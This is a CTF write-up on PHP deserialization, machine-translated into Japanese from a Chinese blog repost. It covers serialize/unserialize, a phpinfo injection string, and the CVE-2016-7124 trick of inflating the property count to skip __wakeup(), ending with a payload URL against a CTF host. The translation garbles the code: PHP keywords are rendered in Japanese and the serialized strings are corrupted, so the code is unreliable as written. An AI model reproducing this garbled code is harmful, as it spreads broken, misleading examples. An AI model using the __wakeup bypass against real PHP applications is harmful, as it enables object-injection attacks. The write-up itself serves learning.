PHPのデシリアライズ使用

CTFからの質問

クラスxctf {
 公共 $フラグ = '111' パブリック 関数__wakeup(){
 終了( '悪い要求' ); 
}
?コード=

 

シリアル化、逆シリアル化は理解しました。

 

シリアライズ()関数はシリアル化され、それが唯一のクラス名が保存されます、それはすべての変数を保存することができますが、この方法は、オブジェクトを保存しません。

<?PHPの
 クラスA {
 公共 $フラグ = '111' パブリック 関数__wakeup(){
 終了( '悪い要求' ); 
} 
} 
クラスB {
     公共 $フラグ = '111' 
} 
の$ A = 新しいA();
$ bの = 新しいB();
$のA = シリアル化$ A )。
$ bの = にserialize$ B ); 

エコー$ A )。
エコー$ bの); 

 
?>

結果は以下の通りであります

O:1: "A":1:{S:4: "フラグ"; S:3: "111";}

O:1: "B":1:{S:4: "フラグ"; S:3: "111";}

いいえ違いありません

 

デシリアライズの脆弱性

文字列PHPに元の値のシーケンス番号()関数をアンシリアライズします

そこで、制御可能なパラメータ文字列、脆弱性が得られ作り出します

例えば、フラグ割り当て<PHPのするphpinfo;?>

<?PHP 

$ A = 'O :. 1: "" :. 1:{S :. 4: "フラグに"; S:。3: "111";} ; 

$ B =「O :. 1: "B" :. 1 {S :. 4: "フラグに"; S:。3: "<?PHPのphpinfo();>";} ; 
オンラインコンパイラ、フィルタ、試みられていないローカルを使用して、#エラー。
しますprint_rアンシリアライズ$ A )); しますprint_rアンシリアライズ$のB )); ?>

 

それはまだ追加して戻ってくる会っ初心者に接触しているので、また... SQLインジェクションを利用することができます。

バックCTF、CVE-2016-7124、文字列のオブジェクトのプロパティの数値配列は__wakeupの真の値は、フィルタリングをスキップよりも大きい場合。

 

<?PHPの
 クラスxctf {
 公共 $フラグ = '111' パブリック 関数__wakeup(){
 終了( '悪い要求' ); 
} 
} 
$ aが = 新しいxctf();
$のA = シリアル化$ A )。

エコー$ A )。
:4: "xctf":1:{S:4: "フラグ"; S:3: "111";} 
$ TEST1 = アンシリアライズ$ A )。
エコー$ TEST1 )。
//////////////漏洞利用... /////////////////// 
$ bの= 'O:4: "xctf":4 {S:4: "フラグ"; S:3: "111";} ; 
//////////////////////////////////////////// 

ます。http://111.198。 29.45:42223 /コード= O:4:%22xctf%22:2:{S:4:%22flag%22; S:3:%22111% 22;}?
?>

 

 

PHPラインコンパイラます。http://code.php.net.cn/b37q111a

参考ます。https://xz.aliyun.com/t/378

 

おすすめ

転載: www.cnblogs.com/Zhu013/p/11593669.html